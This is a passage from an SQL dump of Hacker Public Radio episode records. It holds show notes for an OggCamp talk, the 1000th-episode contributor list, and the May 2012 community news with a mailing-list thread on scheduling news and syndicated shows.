Director of the Open Mobile Alliance, Simon is Chief Strategy Officer at independent software company ForgeRock and Director of the Open Source Initiative. Find his essays at <a href=\"https://webmink.com/\" target=\"_blank\" >webmink.com.</a></p>\r\n\r\n<p>Simon Phipps’ presentation on software freedom. Here’s a shortened version of the presentation which ran to 35 minutes in its entirety.</p>\r\n\r\n<p>OGG Camp is a joint venture organised by those lovely podcasters the <a href=\"https://linuxoutlaws.com/\" target=\"_blank\" >Linux Outlaws</a> and the <a href=\"https://podcast.ubuntu-uk.org/\" target=\"_blank\" >Ubuntu UK Podcast</a>.</p>\r\n\r\n<p>We\'ve more highlights of OGG Camp coming up on the Full Circle Podcast very soon, including Karen Sandler and the Ogg Camp Panel discussion.</p>\r\n\r\n<p>The Full Circle Podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community. Find us at <a href=\"www.fullcirclemagazine.org/podcast\" target=\"_blank\">www.fullcirclemagazine.org/podcast</a>.</p>\r\n<p>Feedback; you can post comments and feedback on the podcast page at <a href=\"www.fullcirclemagazine.org/podcast\" target=\"_blank\">www.fullcirclemagazine.org/podcast</a>, send us a comment to podcast (at) fullcirclemagazine.org</p>\r\n\r\n<p><strong>Your Hosts:</strong></p>\r\n\r\n<ul>\r\n<li><strong>Robin Catling</strong> (blog at <a target=\"_blank\" href=\"https://catlingmindswipe.blogspot.com/\">https://catlingmindswipe.blogspot.com/</a>, @robincatling on Twitter)</li>\r\n<li><strong>Ed Hewitt</strong> (blog at <a href=\"https://www.edhewitt.co.uk/\">https://www.edhewitt.co.uk/</a>, @edhewitt on Twitter)</li>\r\n<li><strong>Dave Wilkins</strong> (…had to go cook the dinner. @davidawilkins on Twitter)</li>\r\n</ul>\r\n\r\n<p><em>Additional audio by Victoria Pritchard</em></p>\r\n\r\n<p><strong>Runtime:</strong> 18mins 2seconds</p>',160,62,1,'CC-BY-SA','OggCamp',0,2177,1),
(1000,'2012-05-31','Episode 1000',1247,'Thoughts and wishes for the 1000th episode of HPR','<p>\r\nHacker Public Radio commemorated it\'s 1000th episode by inviting listeners, contributors, and fellow podcasters to send in their thoughts and wishes of the occasion.  The following voices contributed to this episode.\r\n</p>\r\n<p>\r\nFiftyOneFifty, Chess Griffen, Claudio Miranda, Broam, Leo LaPorte and Dick DeBartolo, Dan Lynch, Becky and Phillip (Corenominal) Newborough, Dann Washko, Frank Bell, Jezra, Fabian Scherschel, k5tux, CafeNinja, imahuph, Johan Vervloet, Kevin Granade, Knightwise, MrX, NYBill, Quvmoh, pokey, MrGadgets, riddlebox, Saturday Morning Linux Review, Scott Sigler, Robert E. Wooden, Sigflup, BrocktonBob, Trevor Parsons, Ulises Manuel López Damián, Verbal, Ahuka, westoztux, Toby Meehan, Chris Garrett, winigo, Ken Fallon, Lord Draukenbleut, aukondk, Full Circle Podcast\r\n</p>\r\n',131,0,1,'CC-BY-SA','HPR,community,congratulations ',0,2524,1),
(1001,'2012-06-04','HPR Community News May 2012',2540,'HPR Community News May 2012','<h2>New hosts</h2>\r\n<p>\r\nWelcome to our new host: \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=213\">bgryderclock</a>.\r\n<br />\r\nIf you would like to become a HPR host then please head over to <a href=\"https://hackerpublicradio.org/contribute.php\">https://hackerpublicradio.org/contribute.php</a>\r\n</p>\r\n\r\n<table >\r\n<thead><tr>\r\n<th class=\"condition\">id\r\n</th><th>title\r\n</th><th>host\r\n</th></tr>\r\n</thead>\r\n        <tbody>\r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">976</td>\r\n<td  class=\"data inline_edit not_null odd  \">HPR Community News (March 2012)</td>\r\n<td  class=\"data inline_edit not_null odd  \">HPR Admins</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">977</td>\r\n<td  class=\"data inline_edit not_null even  \">Setting Up a WordPress Blog 2</td>\r\n<td  class=\"data inline_edit not_null even  \">Frank Bell</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">978</td>\r\n<td  class=\"data inline_edit not_null odd  \">Dead_Hunt</td>\r\n<td  class=\"data inline_edit not_null odd  \">Various Hosts</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">979</td>\r\n<td  class=\"data inline_edit not_null even  \">Sunday Morning Linux Review Episode 029</td>\r\n<td  class=\"data inline_edit not_null even  \">Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">980</td>\r\n<td  class=\"data inline_edit not_null odd  \">Broadband for Rural North</td>\r\n<td  class=\"data inline_edit not_null odd  \">Ken Fallon</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">981</td>\r\n<td  class=\"data inline_edit not_null even  \">Review Indiana LinuxFest 2012</td>\r\n<td  class=\"data inline_edit not_null even  \">Ahuka</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">982</td>\r\n<td  class=\"data inline_edit not_null odd  \">LITS: Episode 005 - pmount</td>\r\n<td  class=\"data inline_edit not_null odd  \">Dann</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">983</td>\r\n<td  class=\"data inline_edit not_null even  \">Freedom is not Free 5 - Get Involved</td>\r\n<td  class=\"data inline_edit not_null even  \">Ahuka</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">984</td>\r\n<td  class=\"data inline_edit not_null odd  \">Going Linux: Introduction to Podcasting with Linux</td>\r\n<td  class=\"data inline_edit not_null odd  \">HPR Admins</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">985</td>\r\n<td  class=\"data inline_edit not_null even  \">LFNW: A Short Talk with Thomas Stover</td>\r\n<td  class=\"data inline_edit not_null even  \">David Whitman</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">986</td>\r\n<td  class=\"data inline_edit not_null odd  \">LFNW: Interview with Scott Newlon of MintCast</td>\r\n<td  class=\"data inline_edit not_null odd  \">David Whitman</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">987</td>\r\n<td  class=\"data inline_edit not_null even  \">LFNW: Larry Cafiero - the Crunchbang guy</td>\r\n<td  class=\"data inline_edit not_null even  \">David Whitman</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">988</td>\r\n<td  class=\"data inline_edit not_null odd  \">LFNW: Dawn McKenna of McKenna Interpreting Services</td>\r\n<td  class=\"data inline_edit not_null odd  \">David Whitman</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">989</td>\r\n<td  class=\"data inline_edit not_null even  \">Juiced Penguin 079 â€“ Early Spring</td>\r\n<td  class=\"data inline_edit not_null even  \">Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">990</td>\r\n<td  class=\"data inline_edit not_null odd  \">Portable Apps</td>\r\n<td  class=\"data inline_edit not_null odd  \">JWP</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">991</td>\r\n<td  class=\"data inline_edit not_null even  \">Making a Music Sampler with Midi and Pygame</td>\r\n<td  class=\"data inline_edit not_null even  \">bgryderclock</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">992</td>\r\n<td  class=\"data inline_edit not_null odd  \">Linux In The Shell 007 - Chmod and Unix Permissions.</td>\r\n<td  class=\"data inline_edit not_null odd  \">Dann</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">993</td>\r\n<td  class=\"data inline_edit not_null even  \">Setting up a Wordpress blog - tweaking appearance</td>\r\n<td  class=\"data inline_edit not_null even  \">Frank Bell</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">994</td>\r\n<td  class=\"data inline_edit not_null odd  \">NELF: John Maddog Hall Talking About Talking About Free Software</td>\r\n<td  class=\"data inline_edit not_null odd  \">Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">995</td>\r\n<td  class=\"data inline_edit not_null even  \">Do the four freedoms extend beyond software ?</td>\r\n<td  class=\"data inline_edit not_null even  \">Ken Fallon</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">996</td>\r\n<td  class=\"data inline_edit not_null odd  \">Command line cheat sheet</td>\r\n<td  class=\"data inline_edit not_null odd  \">JWP</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">997</td>\r\n<td  class=\"data inline_edit not_null even  \">Poorly Recorded Thoughts On Rural Computing</td>\r\n<td  class=\"data inline_edit not_null even  \">lostnbronx</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">998</td>\r\n<td  class=\"data inline_edit not_null odd  \">Viva la Federation!</td>\r\n<td  class=\"data inline_edit not_null odd  \">NYbill and Windigo</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">999</td>\r\n<td  class=\"data inline_edit not_null even  \">Simon Phipps on Open Software: OGG Camp Part One</td>\r\n<td  class=\"data inline_edit not_null even  \">Robin Catling</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">1000</td>\r\n<td  class=\"data inline_edit not_null odd  \">Episode 1000</td>\r\n<td  class=\"data inline_edit not_null odd  \">FiftyOneFifty</td>\r\n</tr>\r\n            \r\n</tbody>\r\n</table>\r\n\r\n<h2>Apologies</h2>\r\n<p>\r\nApologies to Dave Morriss for missing his show and code contribution\r\n</p>\r\n\r\n<h2>New US Phone Number</h2>\r\n<p>\r\nThe US number has changed to <strong>206-203-5729</strong> while the UK number remains the same +44-203-432-5879\r\n</p>\r\n\r\n<h2>A short report from the HPR Table at LinuxFest Northwest</h2>\r\n<p>\r\nFrom: David Whitman <br />\r\n<br />\r\nA friend from work got intersted in going to the LinuxFest and helped at the table - Much thanks to Brad Coffey. We got set up on time and were well received. We had a great run on our swag and ran out of the HPR pin buttons by closing on the first day and handed out quite a few informational cards.The little business cards were really a hit also. Lots of good conversation and exposure for HPR. There was a constant stream of people coming by. I have four interviews on my various recording devices and should be able to get about four to six more from the sign up sheet that was available on the table. With a bit of planning and a more formal interview \'track\' (using an appointment schedule and a designated room or area) I am sure a well staffed HPR table could easily get 20 interviews at this fest. Of course I will be interested in \r\nseeing if any of the many we talked to produces and post their own show. There was interest. I sensed that many of the speakers would have loved the extra exposure. HPR is probably becoming the embedded reporters of Linux Fests. The unofficial count of attendees that I heard was at \"over 800\". The table kit is ready to be shipped to the next venue. My intent is to put together a vertical layout canvas that can easily be shipped and set up as a backdrop and utilize a series of those 20 by 30 photo posters available at Costco Photo. This however will have to wait until after my annual spring fling of shutdown work that begins on May 5 and takes up to 3 weeks to complete. I\'ll post a G+pic of the backdrop we used at this fest. Best swag for me - a Tux 2012 bumper sticker from Pogo Linux. Look for a scan of this on G+ in the near future.\r\n<br />\r\nThanks to the HPR community for the opportunity to represent the show. It was much fun.<br />\r\n<br />\r\ndavidWHITMAN\r\n</p>\r\n\r\n<h2>New Banner</h2>\r\n<p>\r\nThere was a very kind offer by David Whitman to sponsor a tall free standing banner and the call was put out for a design. Here is the final outcome of the discussions.<br />\r\n<img src=\"https://rfquerin.org/hprstuff/sample06.png\" alt=\"Banner design\" width=\"400\" />\r\n</p>\r\n<h2>One Community supporting another</h2>\r\n<p>\r\nBack in episode <a href=\"https://hackerpublicradio.org/eps.php?id=0980\">https://hackerpublicradio.org/eps.php?id=0980</a> Broadband for Rural North, I suggested that people could sponsor a meter of cable for their project to show your support. Well they have gone ahead and done it\r\n<a href=\"https://b4rn.org.uk/sponsor-a-metre\">https://b4rn.org.uk/sponsor-a-metre</a>. It\'s £5 for a meter or Special offer, 5 names for £20.\r\n<br />\r\nI will also extend the donation deal from the holiday period, so that anyone who donates to this gets some HPR swag when it\'s available.\r\n</p>\r\n\r\n<h2>Explicit Tag</h2>\r\n<p>\r\nThere was a discussion on whither we should have a ban on swearing. We already have a iTunes explicit tag so assume that all shows may contain controversial material. Hosts are free to add a \"safe for work\" warning or any other warning they wish to the shows.<br />\r\nWe may add an option in the upload forms to support this on a show by show basis.\r\n</p>\r\n\r\n<h2>Episode 1000 and 1024</h2>\r\n<p>\r\nA note from Fifty OneFifty<br />\r\nThis is a list of all the TWaTech correspondents that I either I had no contact information for or the best e-mail I could find bounced back:<br />\r\n<strong>\r\nAdam, Coder365, DarkShadow, Draven, kotrin, Lunarsphere, MrE, spaceout, ThoughtPhreaker, killersmurf, Dominic Uilano, livinded, J-Hood, skyre, kitche, plexi, Scedha, Will Jasen, phizone, operat0r, blackratchet, merk, and Dr^ZigMan  \r\n</strong><br />\r\n<br />\r\nI\'d like you to mention the handles and maybe the community can help us make contact with them.  I sent the invitations to the first year HPR correspondents today.  One message bounced back, but I can contact that person by other means.  I\'d also like you to read the message below and consider posting it on the site.\r\n</p>\r\n<p>\r\nHacker Public Radio is inviting the participants in podcasts and organizations that proceeded HPR and led to it\'s creation to join a recorded panel discussion  on HPR\'s origins and history.  We are reaching out to TWATech, BinRev Radio, Radio Freak America, Podfert, the Infonomicon Computer Club, and contributors to the first twelve months of HPR.  Our discussion will be recorded via the LinuxBasix.com Mumble server (mumble.openspeak.cc , Port: 64747) and be released as HPR episode 1024 (Stankdawg\'s idea).  Episode 1024 should fall on 5 July, but we would like to shoot for recording the panel about two weeks before hand.  In case of technical or other unforeseen problems on the primary recording date, a two week lead would give us time to regroup and make a second attempt.  The date and time will be set  to make it convenient for the greatest number of people who are willing to participate to join in.  Connections over Skype and SIP phone via Asterisk are possible, but it would be simplest for everyone to try to use the open source Mumble client.\r\n<br />\r\nIf you decide to join in (and we hope you will), please include the time zone of where you will be in mid June, especially if you are outside the continental United States.  If there are dates, days of the week and/or times you would like me to avoid scheduling the panel (i.e., \"I will be gone June 19-21\", \"I could only do it on a weekend\", \"only after 8PM\", \"only before 10PM\") I would like to know that as well.  You may contact the organizers at ep1k@HackerPublicRadio.org\r\n</p>\r\n<h2>Dedicated News Day</h2>\r\n<p>\r\nFor some reason that escapes us the mail archiver stopped working after the server move. So I\'ll paste in here the mail list discussions on the dedicated news show. I wanted to make sure that everyone sees this discussion so I\'ll paste it in here.\r\n</p>\r\n<pre>\r\nFrom: Ken Fallon \r\nDate: Mon, 30 Apr 2012 20:00:31 +0200\r\n\r\nHi All,\r\n\r\nWe mention it on today\'s show that /dev/random was in the queue for a\r\nlong time and some of the news may have been out of date. Would it be\r\nan idea to switch one of the days to a \"News\" show so that we can\r\ncarry shows that review news. Any shows in there would follow the\r\nregular scheduling rules\r\nhttps://hackerpublicradio.org/calendar.php#scheduling_rules.\r\n\r\nIt\'s a discussion - let your voice be heard\r\n\r\nKen.\r\n\r\nFrom: kevin granade \r\nDate: Mon, 30 Apr 2012 13:27:25 -0500\r\n\r\nI think this is a good idea, in fact, perhaps people could request a\r\npriority level?  Most show ideas I have could sit in the queue for a while,\r\nand I\'d be happy to let more timely shows move ahead.\r\n\r\nFrom: lostnbronx \r\nDate: Mon, 30 Apr 2012 16:02:15 -0700\r\n\r\nI Think a certain day could easily be put aside as a day for topical\r\nor timely episodes.  It might be best, though, not to announce it as\r\nbeing such to the general listenership, so that if there\'s a dearth of\r\nnews-type shows one week, another type of ep can be dropped in without\r\nany need for a special announcement.\r\n\r\n\r\nFrom: Kevin O\'Brien \r\nDate: Tue, 01 May 2012 16:03:11 -0400\r\n\r\nI\'m going to try this again since I hit the wrong button last time and \r\nsent it Ken personally instead of to the list.\r\n\r\nJust for the sake of discussion it occurs to me that while DeepGeek is \r\non a hiatus for the moment, he had a weekly news spot every Friday. I \r\ndon\'t know if there is any understanding that he will come back and \r\nresume his spot, but if so, would this mean 2 days a week reserved for \r\nnewscasts? That might be a bit much.\r\n\r\nRegards,\r\n\r\n-- \r\nKevin B. O\'Brien\r\nzwilnik@zwilnik.com\r\n\"A damsel with a dulcimer in a vision once I saw.\"\r\n\r\nFrom: lostnbronx \r\nDate: Mon, 30 Apr 2012 16:02:15 -0700\r\n\r\nI Think a certain day could easily be put aside as a day for topical\r\nor timely episodes.  It might be best, though, not to announce it as\r\nbeing such to the general listenership, so that if there\'s a dearth of\r\nnews-type shows one week, another type of ep can be dropped in without\r\nany need for a special announcement.\r\n\r\n\r\nFrom: Cobra2 \r\nDate: Tue, 01 May 2012 17:30:34 -0300\r\n\r\nI honestly don\'t think news should be broadcast over HPR as it dilutes \r\nthe technology how to with mindless dribble that can be found almost \r\nanywhere else. \r\n-- cobra2 \r\n\r\nFrom: Todd \r\nDate: Tue, 1 May 2012 20:30:10 -0500\r\n\r\nI think HPR is a real treasure.  Where else can so many people share\r\ntheir ideas.  The strength of HPR is anything and everything is\r\nacceptable content as long as it is of interest to hackers.  But as I\r\nlook back over the history of HPR, most attempts to add structure or a\r\nrigorous schedule just haven\'t worked.  The one exception is the\r\ncurrent policy of syndicated Thursdays.\r\n\r\nI have to agree with cobra2. If people want to do news shows, that\'s\r\ngreat.  But IMHO, unless it is really important (event announcements)\r\nit should take it\'s place in the queue with everybody else.  Shows\r\nlike /dev/random are awesome, but it\'s not because of the news they\r\ncover.  There awesome because the guests are hilarious.  The stories\r\njust give them something to talk about.  Even when their news is\r\nweeks old, they are still fun to listen to.\r\n\r\nSo, there\'s my two cents.  For what it\'s worth from a long time\r\nlistener who has never contributed a show.\r\n\r\nTodd\r\n\r\nFrom: Jason Dodd \r\nDate: Fri, 04 May 2012 03:56:46 -0400\r\n\r\nWhy reserve any day?  One of the things I like about hpr is I don\'t know \r\nwhat to expect.  The more I know what to expect I think the less I\'ll \r\nlike it.\r\n\r\nFrom: Kevin O\'Brien \r\nDate: Fri, 04 May 2012 12:02:29 -0400\r\n\r\nI\'m a great believer in moderation in most things. I look forward to \r\nmany of the scheduled shows, and the ones that may not appeal to me \r\nprobably appeal to lots of other folks. But I would favor not adding to \r\nthem because part of the charm of HPR is not knowing what to expect. \r\nAbout one time out of every 30-40 shows I will hit the \"Next\" button on \r\nmy MP3 player, which is not bad, really. But I would rather the \r\noccasional show that does not appeal to me than missing out on the gems.\r\n\r\nRegards,\r\n\r\n-- \r\nKevin B. O\'Brien\r\nzwilnik@zwilnik.com\r\n\"A damsel with a dulcimer in a vision once I saw.\"\r\n\r\nFrom: Cobra2 \r\nDate: Fri, 04 May 2012 13:20:18 -0300\r\n\r\nI\'m not in favor of dropping rule #2. Unless it is going to be used to \r\nsyndicate some sort of news show. News is not content it\'s just a \r\nfiller if there is nothing else left to talk about. \r\n\r\nI know the rules state of interest to hackers. But the history of HPR \r\nand TWAT has been mostly shows that dig deep into a piece of software \r\nor hardware or are a detailed how to. Shows that have a fairly long \r\nshelf life not something that can be outdated if a week or two passes \r\nby.\r\n-- cobra2 \r\n\r\nFrom: Frank Bell \r\nDate: Fri, 4 May 2012 18:53:41 -0400\r\n\r\nI tend to agree with this.\r\n\r\nAlso, as someone who is very new here, I am concerned that, if many \r\nslots are filled up with scheduled shows, aspiring contributers miight \r\nbe dismayed to find that a show uploaded, say today, might not be \r\nposted until late June or July.   This can be a demotivator.\r\n\r\nAs an aside, I can count on both sets of fingers the number of shows \r\nI\'ve hit \"Next\" on.  The variety of HPR is one of its main attractions \r\nfor me.  Usually, when I do hit \"Next,\" it\'s because the topic is so \r\ntechnical (say, a programming language) that I can\'t follow it.  \r\n\r\nOnce or twice--no more than that--it has been because the premise of the \r\nshow was nonsensical--nevertheless, thanks to HPR, I got to hear and \r\nevaluate the premise, which, without the HPR\'s variety, I would not have \r\nhad the opportunity to do.\r\n\r\nFrom: Ken Fallon \r\nDate: Sat, 5 May 2012 09:14:08 +0200\r\n\r\nOK All,\r\n\r\nWhat I\'m hearing is that the following shows will be dropped into the\r\nregular First come First Served Queue:\r\nTalk Geek To Me News.\r\nDev Random\r\n\r\nThe following show will be dropped from Syndicated Thursday.\r\nSunday Morning Linux Review.\r\n\r\nIs this correct ?\r\n\r\nKen.\r\n\r\nFrom: dg \r\nDate: Sat, 5 May 2012 07:09:38 -0400\r\n\r\nHi, Guys,\r\n\r\nJust wanted to say that whatever you decide is fine by me. The news\r\nshows I submit to HPR are actually \"one half\" of my regular show. That\r\nis to say, I do a special tech-only version of my full world+tech news\r\nshow for HPR.\r\n\r\nTherefore, in theory, a news-lover would be able to go to my website\r\nand subscribe via RSS and get my shows rather quickly, if they so\r\ndesired. \r\n\r\nHowever, I also need to point out two more things.  First, I agree with\r\nanother poster that a distinction needs to be made between a show that\r\nis about the guests, with current events thrown in as something for\r\nthem to comment upon; as opposed to my show which is purely about the\r\nstories (I do rarely make editorial comments, but I try to keep my\r\npersonal opinions to a minimum.)\r\n\r\nSecond, I disagree with yet another poster that what I offer should be\r\n\"filler\" and qualifies as something \"that can be found almost\r\nanywhere.\" The whole point of all the stories I cover is that a) they\r\nare not covered by the mainstream media and b) they are, nevertheless,\r\ntimely and important news. In regards to this opinion, I ask you to\r\nconsider whether or not it is widely held amongst the general\r\nlistnership, which to I understand is not entirely present on this list.\r\n\r\nThanks for considering,\r\n---\r\nDeepGeek\r\n\r\n\r\nFrom: Fifty OneFifty \r\nDate: Sat, 5 May 2012 12:51:29 -0500\r\n\r\nI our discussion of whether we want to keep syndicated shows, we should not\r\nlose sight of the fact that last year Ken was really scrambling to find\r\ncontent to keep HPR broadcasting on a daily basis.  While I think most of\r\nthe shows in syndication would understand, I hate to put Ken in the\r\nposition of saying, \"Thanks, but we don\'t need you any more\".  As for\r\nvariety, maybe we consider offering syndicated shows a limited run, 2 or 3\r\nshows, not in consecutive weeks, as an introduction to our listener base.\r\nAfterwards it would be incumbent on our listeners to add those shows to\r\ntheir queue if they like what they hear.  It will also be up to\r\ncontributors and listeners to look for new shows that we can invite for\r\ntemporary syndication, like pokey has with https://distributedpodcast.com.\r\n\r\nFiftyOneFifty\r\n\r\nFrom: David Whitman \r\nDate: Sat, 5 May 2012 11:14:31 -0700\r\n\r\nI posted this on Henry Patrick Riley (Goggle+)\r\n\r\nWhat about making a MEGA syndicated day and combining 2 or more shows\r\ntogether with intro music between and posting the run time when one show\r\nends and another begins? Rotate the order which show airs first.﻿\r\n\r\nThe following is more comments not on G+:\r\n\r\nI want produce some \'casual\' shows  that could go into an \'emergency\' queue\r\nin case there are times when the regular queue get close to empty. Things I\r\nwant to share, but they are not time critical and I am willing to have HPR\r\nbank (such as How I found Linux, How to run a car in the Auto-X, A vacation\r\nto Moab, Utah, Troubleshooting an MR2 using a volt/ohm meter etc. My idea\r\nis that as soon as the emergency queue gets a month\'s worth of shows they\r\ncould be put out periodically into the regular queue. They could be tagged\r\nwith a 1-5 tech rating and the more techie ones used first.\r\n\r\nHow about having 2 parallel  tracks? or 3? HPR News, HPR Command Line, HPR\r\nProjects, a weekly show track just for news....\r\n\r\nAll good and fine - I have 3 shows that need editing to help contribute to\r\nthe problem.\r\n\r\nThanks to all the HPR community members and admins. I love the show.\r\n\r\ndavidWHITMAN\r\n\r\nFrom: Frank Bell \r\nDate: Sat, 5 May 2012 15:28:05 -0400\r\n\r\nOn Sat, 5 May 2012 12:51:29 -0500\r\nFifty OneFifty wrote:\r\n\r\n> I our discussion of whether we want to keep syndicated shows, we should not\r\n> lose sight of the fact that last year Ken was really scrambling to find\r\n> content to keep HPR broadcasting on a daily basis.    \r\n\r\n(snip)\r\n\r\n>  As for\r\n> variety, maybe we consider offering syndicated shows a limited run, 2 or 3\r\n> shows, not in consecutive weeks, as an introduction to our listener base.  \r\n\r\nI think these thoughts have a lot of merit.  I rather enjoy learning about \r\nnew shows through Syndicated Thursdays (I had not heard of the Sunday Morning \r\nLinux show until HPR introduced it to me).  Also, I must say I have heard \r\nsome syndicated shows that I do enjoy, but not enough to actually subscribe \r\nto, so I find the idea of maintaining variety appealing..\r\n\r\nMy concern is that, if there are too many dedicated days, the dedicated days \r\ncould turn into a regular line-up.  \r\n\r\nJust my two cents.\r\n\r\nFrom: Patrick Dailey \r\nDate: Mon, 7 May 2012 23:17:11 -0400\r\n\r\nThis may be the \"healthiest\" discussion that I\'ve ever seen on the HPR\r\nmailing list, and I love it. I want to thank each and every person\r\nsubscribed for keeping the conversation respectful, and on topic. Most\r\nmailing lists that I\'ve seen could not have accomplished that.\r\n\r\nAs to the scheduling multi-lemma, I have a few thoughts that I would thank\r\nyou all in advance for considering:\r\n\r\nWe have the kind of crisis that we\'ve always wanted, namely: we have too\r\nmany shows. This is an opportunity that I don\'t think we should squander.\r\nAt the same time we\'re trying to establish a scheduling policy that an\r\nunmanned system can obey. The goal, as I see it, is to create rules that\r\ncan deal with an abundance of shows without wasting them. Right now what we\r\nhave is a scheduling policy that worked very well with a lack of shows, and\r\nin fact it helped to replenish them. So I believe that we need either: one\r\nset of rules that can cope with either situation, or two sets of rules and\r\na way for a deterministic system to identify and transition between them.\r\nPlease chime in on this if you are good with policy.\r\n\r\nAs I see it, at least part of what we\'re dealing with is a resource\r\nmanagement problem. People create content for us, and sometimes they assume\r\nthat it has an expiration timeframe. Some content simply must be used\r\nbefore it\'s creator feels that it has expired, or we can expect that that\r\ncreator will seek other venues in which to publish their content. We need a\r\nway of distinguishing \"perishable\" content from \"non-perishable\" content.\r\nWe also need a way of putting a date on the perishable content. If you have\r\nexperience with user feedback systems, we could really use your help\r\n(especially) with this part.\r\n\r\nSince identifying potential problems without offering solutions is just\r\nbitching, I have a couple of suggestions.\r\n\r\nSyndicated Thursdays and \"timely content\"\r\nI for one, am grateful to the shows who have allowed us to fill holes in\r\nour que with their content. While the syndicated Thursday slot was\r\noriginally implemented out of necessity, I feel that it is an overall plus\r\nto continue the practice. We have developed friendly and mutually\r\nbeneficial relationships with other podcasts that I would be hesitant (to\r\nput it mildly) to sever, and there are other great podcasts that we don\'t\r\neven know about yet. I agree with Frank Bell in that I think the syndicated\r\nThursday feed is a great discovery tool, and I\'d hate to loose it as such,\r\nbut I also see these shows as friends, and I want to make sure that we\r\ntreat them like it. I don\'t think it\'s in anyone\'s best interest for us to\r\nabandon that kind of relationship, or the content that has so generously\r\nbeen offered to us. If (and only if) there is a \"Timely news show\", I would\r\nlike to see it get the Thursday slot, but in order for the syndicated show\r\nto not be wasted, I would like to see that show bumped to Saturday.\r\n\r\nScheduled HPR exclusive shows and normal que shows\r\nI think if people commit to producing scheduled content before they record\r\nit, and live up to that commitment, that we should honor that commitment.\r\nPerhaps there needs to be some limit to the number of pre-schedulable slots\r\nper week and/or month that we make available, so that there is still room\r\nto play shows from our normal que, but we-as a group decided to ask people\r\nto produce content for us, and several people have stepped up and\r\ndelivered. Perhaps this is a situation where more than one show should be\r\nposted per day. I don\'t know.\r\n\r\nWhile it\'s easy for me to sit here and suggest these things, I don\'t think\r\nthat it\'s fair for any of us to vote for posting more than five shows per\r\nweek unless we are committing to posting more than the requested \"one show\r\nper year\" if the que ever gets low again.\r\n\r\nLastly, I believe that new hosts should continue to get the first\r\nunscheduled slot. This is critical to getting new people to contribute, and\r\nto return as hosts.\r\n\r\nIf I\'m wrong, or out of line, or TLDR, or whatever... feel free to say so.\r\nI can take it.\r\n\r\npokey\r\n\r\nFrom: \"Frank Bell\"\r\nDate: Tue, 08 May 2012 13:21:53 -0400\r\n\r\nOn Mon, 07 May 2012 23:17:11 -0400, Patrick Dailey \r\nwrote an extremely thoughtful and useful post from the \"be careful what  \r\nyou wish for\" department:\r\n\r\n\r\n> Syndicated Thursdays and \"timely content\"  \r\n\r\n> loose it as such, but I also see these shows as friends, and I want to  \r\n> make sure that we treat them like it. I don\'t think it\'s in anyone\'s  \r\n> best interest for us to abandon that kind of relationship, or the  \r\n> content that has so generously been offered to us. If (and only if)  \r\n> there is a \"Timely news show\", I would like to see it get the Thursday  \r\n> slot, but in order for the syndicated show to not be wasted, I would  \r\n> like to see that show bumped to Saturday.  \r\n\r\nI think this is a wise suggestion.  I wasn\'t here when the goal of five  \r\ndays a week was set, but I\'m inclined to think that it was intended to be  \r\na goal, not a limit.\r\n\r\nI would suggest, as an aside, that the scheduling rules could be displayed  \r\nmore prominently.  Currently, they are at the bottom of the calendar.  I  \r\nthink prospective or new (like me) hosts should have their attention drawn  \r\nto them more forcefully, perhaps by giving them their own page linked from  \r\nthe front page and linking to them from the calendar and from the  \r\n\"Contribute\" page.  I also suggest changing the terminology from \"rules\"  \r\nto \"guidelines\";  that\'s not just PR softening of a phrase, for they are  \r\nguidelines as exceptions can be made.\r\n\r\nIt may also be useful to suggest that new hosts glance as the calendar to  \r\nsee when their available slots.  I would also like to see a friendlier  \r\ncalendar, meaning one that looks more like a wall calendar.  If you all  \r\nwish, I would be happy to explore the WordPress plugins to see what I can  